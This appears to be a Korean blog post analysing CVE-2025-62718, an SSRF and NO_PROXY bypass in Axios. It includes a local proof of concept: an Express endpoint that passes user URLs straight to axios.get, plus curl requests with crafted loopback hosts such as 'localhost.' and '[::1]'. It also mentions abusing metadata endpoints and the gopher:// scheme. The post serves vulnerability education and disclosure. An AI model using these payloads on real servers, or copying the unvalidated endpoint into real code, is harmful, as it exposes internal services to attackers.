[CVE-2025-62718] Axios 혼동된 프록시 취약점 (의도치 않은 프록시 악용)
RECOMMEND POSTS BEFORE THIS
1. CVE-2025-62718
CVE-2025-62718은 HTTP 클라이언트 라이브러리인 Axios에서 발생한 서버 사이드 요청 위조(SSRF, Server-Side Request Forgery) 및 프록시 우회 취약점이다. 이 취약점은 호스트명 정규화 처리의 결함과 연관되어 방화벽 내부에 위치한 민감한 루프백이나 내부 서비스에 접근할 수 있게 하는 치명적인 문제가 있다.
Axios 내부의 NO_PROXY 규칙 평가 로직에서 발생했다. Axios가 NO_PROXY 규칙을 검사할 때 호스트네임(hostname)을 정규화하지 않고 단순 문자열 비교를 수행하면서 발생한다. 결과적으로 후행 마침표가 포함된 localhost.나 IPv6 리터럴인 [::1]과 같은 루프백 주소에 대한 요청이 NO_PROXY 검사를 우회하여, 해당 트래픽이 구성된 프록시를 거쳐 내부망으로 넘어가게 된다.
- CVSS 위험도 점수
- 9.3(CRITICAL)으로 평가 (CVSS 4.0 기준)
- 영향을 받는 버전
- 1.15.0 미만 버전
- 테스트 시점의 최신 버전이던 1.12.2에서 확인되었으며, 기존의
NO_PROXY평가 방식에 의존하는 모든 하위 버전에 영향을 미친다.
- 패치된 버전
- v1.15.0
CVSS 4.0 기준 기본 지표(base metrics)인 익스플로잇(exploit) 가능성 및 시스템 영향은 다음과 같다.
- AV:N (Attack Vector: Network)
- 공격자가 취약점이 존재하는 시스템에 물리적으로 접근하거나 로컬 환경에 있을 필요 없이, 인터넷이나 내부망 등 네트워크를 통해 원격으로 공격을 수행할 수 있다.
- 이 취약점의 경우, 공격자는 외부에서 접근 가능한 API 엔드포인트에 조작된 URL(예: http://localhost.:8080/)을 파라미터로 전달하는 것만으로 공격을 트리거할 수 있다.
- AC:L (Attack Complexity: Low)
- 공격을 성공시키기 위해 복잡한 조건이나 특별한 보안 회피 기법이 필요하지 않고, 언제든 일관되게 공격이 가능함을 의미한다.
- 이 취약점의 경우, 호스트네임에 후행 마침표를 추가(localhost.)하거나 IPv6 리터럴 표기([::1])를 사용하는 것만으로 NO_PROXY 검사를 우회할 수 있어 공격 재현성이 매우 높다.
- AT:N (Attack Requirements: None)
- 취약점 악용을 가능하게 하는 대상 시스템의 특별한 사전 배포 및 실행 조건이 요구되지 않는다.
- 이 취약점의 경우, 서버가 프록시 환경(HTTPS_PROXY 등)에서 동작 중이고 외부 입력값을 Axios로 전달하는 구조라면 추가적인 사전 조건 없이 즉시 악용 가능하다.
- PR:N (Privileges Required: None)
- 공격자가 대상 시스템이나 애플리케이션에 로그인하거나 특정 권한을 획득할 필요가 전혀 없음을 의미한다. 인증되지 않은 사용자도 취약점을 악용할 수 있다.
- 이 취약점의 경우, 외부에서 접근 가능한 엔드포인트에 조작된 URL을 전송하는 것만으로 공격이 가능하므로 인증 우회나 권한 탈취 없이도 내부 서비스에 대한 무단 접근이 가능하다.
- UI:N (User Interaction: None)
- 공격을 수행할 때 관리자나 일반 사용자의 상호작용이 전혀 필요하지 않다. 공격자가 단독으로 취약점을 트리거할 수 있다.
- 이 취약점의 경우, 공격자가 직접 조작된 HTTP 요청을 서버에 전송하는 것만으로 공격이 완결되며, 피해자(관리자 또는 사용자)의 어떠한 행동도 요구되지 않는다.
- VC:H / SC:H (Confidentiality Impact: High)
- 기밀성에 높은 영향을 미친다. 공격자가 통제하는 URL을 통해 프록시를 강제 호출함으로써, 내부 서비스의 민감한 응답 데이터를 유출할 수 있다.
- 이 취약점의 경우, 공격자가 조작된 루프백 주소를 통해 프록시를 경유하여 내부 서비스(예: 관리자 패널, 메타데이터 엔드포인트, 내부 API)에 접근할 수 있다. 이를 통해 외부에서는 절대 접근할 수 없어야 할 민감한 응답 데이터, 인증 토큰, 시스템 구성 정보 등이 공격자에게 그대로 노출될 수 있다.
- VI:L / SI:L (Integrity Impact: Low)
- 공격으로 인한 무결성 훼손 영향은 상대적으로 낮다.
- 이 취약점의 본질은 내부 서비스에 허가되지 않은 요청을 전달하여 데이터를 ‘읽고 유출’하는 SSRF 특성에 있다. 데이터베이스를 직접 수정하거나 시스템 파일을 덮어쓰는 등의 쓰기(Write) 작업을 직접적으로 수행하는 취약점이 아니기 때문이다. 다만, 접근한 내부 서비스가 상태를 변경하는 API를 노출하고 있다면 간접적인 무결성 훼손으로 이어질 수 있어 완전히 무시할 수는 없다.
- VA:L / SA:L (Availability Impact: Low)
- 공격으로 인한 시스템의 가용성 상실 영향은 상대적으로 낮다. 가용성이 High로 평가되려면 CPU, 메모리, 네트워크 대역폭 등 시스템 자원을 고갈시켜 서비스를 완전히 마비시켜야 한다.
- 이 취약점은 트래픽을 의도치 않은 프록시로 우회시키는 과정에서 일부 요청 지연이나 에러가 발생할 수 있지만, 서버 프로세스 자체를 중단시키거나 자원을 고갈시키는 메커니즘이 아니므로 가용성에 미치는 직접적인 영향은 제한적이다.
해당 취약점과 연관된 취약점 유형(CWE, Common Weakness Enumeration)은 CWE-441: 의도하지 않은 프록시 또는 중개자(‘혼란스러운 대리인’) 및 CWE-918: 서버 사이드 요청 위조(SSRF)다.
CWE-441(Unintended Proxy or Intermediary) 유형의 취약점은 다음과 같은 특징을 갖는다.
- 공격자가 타겟 시스템에 접근할 권한이 있는 다른 정상적인 시스템을 속여서 자신의 “심부름꾼”으로 악용하는 취약점이다.
- 정상적인 환경에서 시스템이 외부로부터 요청을 받아 다른 목적지로 전달할 때는, 원래 요청을 보낸 사람의 출처나 신원을 충분히 보존해야 한다. 하지만 CWE-441 취약점이 존재하는 시스템은 원래 요청자의 출처를 제대로 유지하지 않고, 마치 중개하는 시스템 자신이 직접 요청을 생성한 것처럼 보이게 만들어 목적지로 전달해 버린다.
일반적으로 공격자는 방화벽과 같은 접근 통제 시스템에 막혀 공격 대상(타겟)에게 직접 접근할 수 없다. 하지만 이 취약점을 이용하면, 공격자는 타겟에 접근할 권한을 이미 가지고 있는 취약한 시스템(대리인)에 교묘한 요청을 보낼 수 있다. 그러면 취약한 시스템은 자신의 권한과 신분을 사용해 공격자가 원하는 타겟으로 그 요청을 대신 전달하게 된다. 타겟 시스템 입장에서는 권한이 없는 공격자가 아니라, 신뢰할 수 있는 대리인이 정상적으로 보낸 요청이라고 착각하게 된다.
CWE-918(SSRF) 유형의 취약점은 다음과 같은 특징을 갖는다.
- 웹 서버가 외부(업스트림 구성 요소)로부터 URL이나 유사한 요청을 전달받아 해당 URL의 콘텐츠를 가져올 때, 그 요청이 의도되고 허용된 목적지로만 전송되는지 충분히 검증하지 않을 때 발생하는 보안 취약점이다. 다른 용어로는 XSPA(Cross Site Port Attack)라고도 불린다.
- 일반적으로 공격자는 방화벽에 막혀 내부 네트워크에 직접 접근할 수 없다. 하지만 SSRF 취약점이 존재하면, 공격자는 서버가 예기치 않은 호스트나 포트로 요청을 보내도록 유도하여 서버를 일종의 프록시처럼 악용할 수 있다. 이를 통해 내부 네트워크에 위치한 호스트를 대상으로 포트 스캐닝을 수행하는 등 보호 장치를 무력화한다.
- HTTP 프로토콜뿐만 아니라
file://스킴을 사용하여 서버 시스템 내부의 로컬 파일이나 문서를 읽어낼 수 있다. 또한gopher://나tftp://와 같은 다른 프로토콜을 활용해 요청 내용을 더욱 세밀하게 제어하고, 클라우드 환경의 메타데이터 엔드포인트 등에 접근하여 민감한 데이터를 탈취할 수 있다.
SSRF는 사용자 입력값에 대한 불충분한 검증 때문에 발생한다. 이 코드를 통해 공격자는 타겟 서버가 내부 로컬 네트워크나 자기 자신(localhost)을 향해 요청을 보내도록 조작할 수 있다. 이를 방어하기 위해서는 개발 시 반드시 허용된 URL이나 도메인 목록(Allowlist)을 정의하고, 사용자가 입력한 URL이 이 목록에 포함되는지 엄격하게 대조하여 검증(Validation)하는 로직을 구현해야 한다.
2. Cause of vulnerability
지금부터 보안 취약점이 동작하는 원리를 알아보자. Axios는 내부적으로 지정한 프록시 서버로 요청을 보내는 기능이 있다. 아래와 같은 환경 변수가 있다면 Axios는 자동으로 읽어서 프록시 동작을 결정한다.
HTTPS_PROXY=http://proxy.company.com:8080
HTTP_PROXY=http://proxy.company.com:8080
NO_PROXY=localhost,127.0.0.1
Axios의 http.js 파일을 보면 프록시 서버에 관련된 설정이 있는 경우 프록시 서버로 요청을 보낼 수 있도록 요청 설정을 변경하는 setProxy 함수가 존재한다.
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location);
if (proxyUrl) {
proxy = new URL(proxyUrl);
}
}
if (proxy) {
...
const proxyHost = proxy.hostname || proxy.host;
options.hostname = proxyHost;
options.host = proxyHost;
options.port = proxy.port;
options.path = location;
if (proxy.protocol) {
options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`;
}
}
...
}
해당 함수에 의해 요청 설정 객체의 값이 변경되면서 요청이 프록시 서버에게 전달된다. Axios 개발자들은 NO_PROXY=localhost,127.0.0.1,::1과 같은 규칙을 통해 내부 트래픽을 보호하려고 했다. 그러나 Axios는 NO_PROXY를 검사하기 전에 호스트네임을 정규화하는 대신 단순 문자열 비교를 수행한다. 이로 인해 http://localhost.:8080/이나 http://[::1]:8080/ 같은 IPv6 리터럴 형태인 [::1] 같은 루프백 주소가 잘못된 방식으로 프록시를 통해 전달된다.
여기서 localhost. 같은 URL 정보가 프록시로 전달되면 문제가 발생한다. RFC 1034 3.1 섹션과 RFC 3986 3.2.2 섹션의 내용을 보면 호스트네임은 완전 정규화 도메인 이름(FQDN)임을 나타내기 위해 후행 마침표를 가질 수 있다. DNS 수준에서 localhost.는 localhost와 동일하게 해석된다. 이 말은 프록시 서버 입장에서 localhost.는 프록시 서버 자기 자신 또는 내부망의 다른 서버를 가리킬 수 있다는 의미가 된다.
프록시 서버는 내부망에 위치한다. 공격자가 http://localhost.:8080/admin 같은 URL을 요청하면, 외부에서는 절대 접근할 수 없는 프록시 서버 내부의 서비스에 요청이 닿게 된다. 프록시 서버는 해당 요청을 자신의 루프백 주소로 착각해서 내부 정보를 노출할 수 있다. 혹은 인트라넷(intranet)에 위치한 서버로 전달할 수 있다. 연결이 도달한 내부망 서버도 마찬가지로 자신의 루프백 주소로 생각하고 내부 정보를 외부로 노출할 수 있다.
3. Exploit PoC (Proof of Concept)
보안 취약점이 존재하는 axios@1.14.0 버전을 설치해서 외부에서 전달한 URL이 실제로 프록시 서버로 전달되는지 살펴보자. 전체 코드는 이 레포지토리를 참고하길 바란다. 두 개의 애플리케이션을 준비한다.
- app - 보안 취약점이 존재하는 애플리케이션
- proxy-server - 내부망에 위치한 프록시 서버
axios@1.14.0를 사용하는 보안 취약점이 존재하는 애플리케이션은 다음과 같은 프록시 서버 정보가 등록되어 있다.
HTTP_PROXY=http://localhost:8888
NO_PROXY=localhost,127.0.0.1
다음과 같이 외부에서 전달받은 URL 정보를 그대로 axios 객체의 get 함수에 전달한다.
app.get('/request', async (req, res) => {
const targetUrl = req.query.url;
try {
const response = await axios.get(targetUrl);
res.json({ success: true, data: response.data });
} catch (err) {
res.status(500).json({ success: false, error: err.message });
}
});
프록시 서버는 다음과 같이 요청이 들어오면 어떤 URL에 대한 요청이 들어왔는지 클라이언트에게 응답하는 코드를 작성한다. 이를 통해 클라이언트는 자신의 요청이 프록시 서버까지 도달했는지 확인할 수 있다.
const http = require('http');
const server = http.createServer((req, res) => {
const targetUrl = req.url;
console.log(`[proxy] HTTP 요청 수신: ${req.method} ${targetUrl}`);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(`your request reached the proxy(${targetUrl})`);
});
두 애플리케이션을 모두 실행 후 터미널에서 다음 명령어를 실행한다.
$ curl http://localhost:3000/request\?url\=http://localhost.:3000/admin | jq .
프록시 서버로부터 다음과 같은 응답을 받을 수 있다.
{
"success": true,
"data": "your request reached the proxy(http://localhost.:3000/admin)"
}
NO_PROXY로 설정되어 있는 localhost를 쿼리 파라미터로 전달하면 이는 루프백 주소로 동작한다. 다음 명령어를 실행한다.
$ curl http://localhost:3000/request\?url\=http://localhost:3000/admin | jq .
파라미터로 전달한 URL은 루프백 주소로 처리되어 보안 취약 서버로부터 404 에러 응답을 받는다.
{
"success": false,
"error": "Request failed with status code 404"
}
이번에는 취약 서버의 axios 버전을 보안 패치가 완료된 1.15 버전으로 올린 후 localhost. 주소로 요청을 보내보자. package.json 파일에 명시된 axios 버전을 올린다.
{
"name": "app",
"version": "1.0.0",
"description": "Regular app using axios with proxy support",
...
"dependencies": {
"axios": "1.15.0",
"express": "^4.18.2"
}
}
cURL 명령어로 아래 요청을 보낸다.
$ curl http://localhost:3000/request\?url\=http://localhost.:3000/admin | jq .
http://localhost.:3000 주소는 루프백으로 동작해서 아래처럼 404 응답을 받는다.
{
"success": false,
"error": "Request failed with status code 404"
}
TEST CODE REPOSITORY
REFERENCE
- https://security.snyk.io/package/npm/axios/1.14.0
- https://security.snyk.io/vuln/SNYK-JS-AXIOS-15965856
- https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
- https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
- https://github.com/axios/axios/releases/tag/v1.15.0
- https://www.cve.org/CVERecord?id=CVE-2025-62718
- https://cwe.mitre.org/data/definitions/441.html
- https://cwe.mitre.org/data/definitions/918.html
- https://www.rfc-editor.org/rfc/rfc1034.html
- https://datatracker.ietf.org/doc/html/rfc3986
댓글남기기